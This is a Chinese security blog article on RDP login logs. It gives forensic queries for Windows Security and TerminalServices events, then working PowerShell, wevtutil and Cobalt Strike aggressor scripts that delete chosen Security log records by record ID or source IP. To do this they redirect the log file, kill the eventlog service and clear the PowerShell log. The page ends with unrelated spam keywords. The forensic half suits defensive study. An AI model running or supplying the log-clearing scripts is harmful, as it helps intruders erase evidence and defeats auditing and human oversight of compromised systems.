<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    安全運維 | RDP登錄日志取證和清除

    VSole2023-02-06 09:39:07


    目錄:

    一:取證

    • 1.1 登錄成功
    • 1.1.1 Security 線上分析
    • 1.1.2 Security 離線分析
    • 1.1.3 TerminalServices/Operational
    • 1.2 登錄失敗
    • 1.3 客戶端主機名
    • 1.4 遠程server
    • 1.5 日志量最大限制
    • 1.6 RDP開放端口
    • 1.7 掛載驅動器監控

    二:清除

    • 2.1 EventRecordID單條刪除
    • 2.2 IpAddress批量刪除
    • 2.3 powershell示例

    三:腳本化

    • 3.1 取證示例
    • 3.2 清除示例

    參考

    RDP登錄方式:

    • 爆破登錄:多次登錄失敗&登錄成功
    • 管理員登錄:賬戶密碼、憑據
    • console模式登錄

    使用工具:

    • wevtutil
    • LogParser
    • powershell
    • regedit

    一:取證

    取證關鍵點:

    • 登錄IP
    • 登錄ip端口
    • 登錄時間
    • 登錄客戶端主機名
    • 登錄后操作日志
    • 服務端敏感文件
    • 服務端登錄的服務器ip
    • 服務端瀏覽器記錄

    1.1 登錄成功

    EventID=4624,從安全日志中獲取登錄成功的客戶端登錄ip、登錄源端口、登錄時間等信息

    1.1.1 Security 線上分析

    • LogParser
    LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
    
    • wevtutil
    wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
    
    • wevtutil + powershell

    wevtutil epl Security ./Sec.evtx

    function WinSuccEvent
    {
        [CmdletBinding()]
        Param (
            [string]$csv,
            [string]$evtx = $pwd.Path+"\Sec.evtx"
        )
        $time=Get-Date -Format h:mm:ss
        $evtx=(Get-Item $evtx).fullname
        $outfile=(Get-Item $evtx).BaseName+".csv"
        $logsize=[int]((Get-Item $evtx).length/1MB)
        write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
        [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf
        $xmlEvent=$xmldoc.root.Event
        function OneEventToDict {
            Param (
                $event
            )
            $ret = @{
                "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                "EventRecordID" = $event.System.EventRecordID
                "EventID" = $event.System.EventID
            }
            $data=$event.EventData.Data
            for ($i=0; $i -lt $data.Count; $i++){
                $ret.Add($data[$i].name, $data[$i].'#text')
            }
            return $ret
        }
        filter Convert-DateTimeFormat
        {
          Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
          try {
            ([DateTime]$_).ToString($OutputFormat)
          } catch {}
        }
        $time=Get-Date -Format h:mm:ss
        write-host [+] $time Extract XML ... -ForegroundColor Green
        [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
        for ($i=0; $i -lt $xmlEvent.Count; $i++){
            $event = $xmlEvent[$i]
            $datas = OneEventToDict $event
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        $time=Get-Date -Format h:mm:ss
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
        if($csv){
            write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
            $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
        }
    }
    

    1.1.2 Security 離線分析

    導出安全日志為:Security.evtx

    • LogParser
    LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
    
    • wevtutil
    wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]"  /e:root /f:xml
    

    1.1.3 TerminalServices/Operational

    • RemoteConnectionManager - EventID=1149
    wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1
    

    過濾id:1149且僅顯示存在Param2數據

    wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx
    function TerminalServices {
        [CmdletBinding()]
        Param (
            [string]$csv,
            [string]$evtx = $pwd.Path+"./TerminalServices.evtx"   
        )
        $time=Get-Date -Format h:mm:ss
        $evtx=(Get-Item $evtx).fullname
        $outfile=(Get-Item $evtx).BaseName+".csv"
        $logsize=[int]((Get-Item $evtx).length/1MB)
        write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
        [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml  /lf
        $xmlEvent=$xmldoc.root.Event
        write-host $xmlEvent.Count
        function OneEventToDict {
            Param (
                $event
            )
            Try {
                $CheckLoginStatus = $event.UserData.EventXML.Param2
                if ($CheckLoginStatus) {
                    $ret = @{
                        "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                        "EventRecordID" = $event.System.EventRecordID
                        "EventID" = $event.System.EventID
                        "Param1" = $event.UserData.EventXML.Param1
                        "Param2" = $event.UserData.EventXML.Param2
                        "Param3" = $event.UserData.EventXML.Param3
                    }
                }
            }
            Catch {
                continue
            }
            return $ret
        }
        filter Convert-DateTimeFormat
        {
          Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
          try {
            ([DateTime]$_).ToString($OutputFormat)
          } catch {}
        }
        $time=Get-Date -Format h:mm:ss
        write-host [+] $time Extract XML ... -ForegroundColor Green
        [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
        for ($i=0; $i -lt $xmlEvent.Count; $i++){
            $event = $xmlEvent[$i]
            $datas = OneEventToDict $event
            try {
                $results.Add((New-Object PSObject -Property $datas))|out-null
            }
            catch {
                continue
            }
        }
        $time=Get-Date -Format h:mm:ss
        $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
        if($csv){
            write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
            $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
        }
    }
    

    同理:

    • LocalSessionManager - EventID:24/25
    wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx
    
    • ClientActiveXCore - EventID:1024
    wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx
    

    1.2 登錄失敗

    EventID=4625,分析語句同理登錄成功

    1.3 客戶端主機名

    注冊表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

    powershell實現代碼如下:

    function ClientHostName {
        $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
        foreach($Name in $UserSID) {
            $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
            Try {
                $Servers = dir $RegPath -Name -ErrorAction Stop
                foreach ($Server in $Servers) {
                    $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
                    Write-Host "[+] RegPath: "$RegPath$Server
                    Write-Host "[+] ClientHostName: "$ClientHostName
                }   
            }
            Catch {
                continue
            }
        }
    }
    

    1.4 遠程server

    注冊表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

    其中,保存憑據的單獨顯示

    powershell實現代碼如下:

    function RdpServer {
        $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
        foreach($Name in $UserSID) {
            $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
            Try {
                $Servers = dir $RegPath -Name -ErrorAction Stop
                foreach ($Server in $Servers) {
                    $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
                    Write-Host "[+] Server: "$Server" UserName: "$UserName
                    $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
                    if($CertHash) {
                        Write-Host "[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash 
                    }
                }
            }
            Catch {
                continue
            }
            $RegPathDefault = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
            Try {
                $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
                foreach ($RegPathValue in $RegPathValues.Property ){
                    write-host "[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
                }
            }
            Catch {
                continue
            }
        }
    }
    

    1.5 日志量最大限制

    注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security

    function ChangeSecurityMaxSize {
        $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
        $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
        write-host "Old Size: "+$SecurityRegValue
        Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
        $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
        write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
    }
    

    1.6 RDP開放端口

    查詢注冊表

        $RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
        $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
        write-host $RDPportValue
    

    1.7 掛載驅動器監控

    參考github:DarkGuardian:https://github.com/FunnyWolf/DarkGuardian

    二:清除

    以下兩種方式根據修改注冊表實現

    以powershell為例:

    需要修改注冊表

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx
    

    tasklist /svc | findstr "eventlog"
    taskkill /F /PID 279
    net start eventlog
    

    2.1 EventRecordID單條刪除

    單條日志清除

    wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true
    

    2.2 IpAddress批量刪除

    源ip清除

    wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true
    

    2.3 powershell示例

        [CmdletBinding()]
        Param (
            [string]$flagvalue,
            [string]$evtx = $pwd.Path
        )
        $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
        $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
        $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
        $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")
        write-host $SecurityFileRegValueFileName
        # clear
        Try{
            wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
        }
        Catch {}
        Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag
        $EventlogSvchost = tasklist /svc | findstr "eventlog" 
        $EventlogMatch = $EventlogSvchost -match "(\d+)"
        $EventlogSvchostPID = $Matches[0]
        # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
        write-host $EventlogSvchostPID
        taskkill /F /PID $EventlogSvchostPID
        Try{
            Remove-Item $SecurityFileRegValueFileName -recurse
        }
        Catch {}
        Try{
            Remove-Item $SecurityFileRegValueNewFlag -recurse
        }
        Catch {}
        ren $SecurityFileRegValueNew $SecurityFileRegValueFileName
        Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName
        net start eventlog
    

    同理批量刪除如下:

        # clear
        Try {
            wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
        }
        Catch {}
    

    三:腳本化

    結合Cobalt Strike可實現自動化,具體可參考cna腳本編寫:https://www.cobaltstrike.com/aggressor-script/index.html

    3.1 取證示例

         item "RdpSuccessEvent" {
              local('$bid');
              foreach $bid ($1){
                  blog($1, "Get RDP Success Event (4624).");
                  bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
                  bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
                  bpowerpick($bid,"WinSuccEvent");
                  #bpowershell($bid,"WinSuccEvent");
                  brm($1,"Sec.evtx");
                  bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
              }
         }
    

    3.2 清除示例

         item "IDEventClear" {
              prompt_text("Input Clear EventRecordID","1024",lambda({
                  blog(@ids,"Delete Security Event where EventRecordID = $1");
                  bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
                  bpowerpick(@ids,"IDEventClear $1");
                  bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
              },@ids => $1));
         }
    
    安全運維system
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    EventID=4624,從安全日志中獲取登錄成功的客戶端登錄ip、登錄源端口、登錄時間等信息
    安裝Linux系統最小化,即選包最小化,yum安裝軟件包也要最小化,無用的包不裝。開機自啟動服務最小化,即無用的服務不開啟。Linux系統文件及目錄的權限設置最小化,禁止隨意創建、更改、刪除文件。在生產環境中,刪除多余的賬戶信息。
    網絡拓撲場景介紹局域網下含有物理機、proxy server主機。物理機即普通客戶主機,proxy server即企業提供的代理,此網絡模擬的是公網環境。
    本文章盤點了 Linux 必備 150 個命令,請配合下面的網站使用。定位你需要使用的命令,然后去這個網站查詢詳細用法即可。 地址:wangchujiang.com/linux-command/
    所謂必修漏洞,就是人員必須修復、不可拖延、影響范圍較廣的漏洞,不修復就意味著黑客攻擊入侵后會造成十分嚴重的后果。
    必修漏洞,就是必須修復、不可拖延的高危漏洞。
    必修漏洞,就是必須修復、不可拖延的高危漏洞。
    必修漏洞,就是必須修復、不可拖延的高危漏洞。
    報告總結了過去一年公有云安全威脅的主要特點,對新威脅的可能方向做了評估。
    船舶交通管理系統是指在一定水域內用以保證航行船舶安全和效率的管理系統,英文縮寫為VTS(Vessel Traffic System)。手段較為齊全的船舶管理系統一般有4個方面設施、3大核心系統(15個子系統),涉及 4個階段的數據處理環節。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类